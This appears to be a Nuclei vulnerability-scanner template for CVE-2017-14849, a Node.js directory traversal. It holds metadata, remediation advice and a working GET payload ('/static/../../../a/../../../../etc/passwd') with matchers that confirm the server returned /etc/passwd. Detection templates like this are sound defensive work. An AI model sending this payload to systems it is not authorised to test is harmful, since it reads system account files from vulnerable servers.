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id : CVE-2017-14849
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info :
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name : Node.js <8.6.0 - Directory Traversal
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author : Random_Robbie
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severity : high
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description : Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
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remediation : |
Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
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reference :
- https://twitter.com/nodejs/status/913131152868876288
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
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- https://nvd.nist.gov/vuln/detail/CVE-2017-14849
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2017-14849
cwe-id : CWE-22
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epss-score : 0.96684
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epss-percentile : 0.99554
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cpe : cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : nodejs
product : node.js
tags : cve,cve2017,nodejs,lfi
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http :
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- method : GET
path :
- "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
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matchers-condition : and
matchers :
- type : regex
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part : body
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regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200
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# digest: 490a00463044022017aaba785bb8a91d8344c38c42086c80a2fe3f243869b59b1239ac2f0bb53a3e022077e738f0b7713d0c09936f28508d59aba8e0bc3da4a7ed8da462d6111302ac77:922c64590222798bb761d5b6d8e72950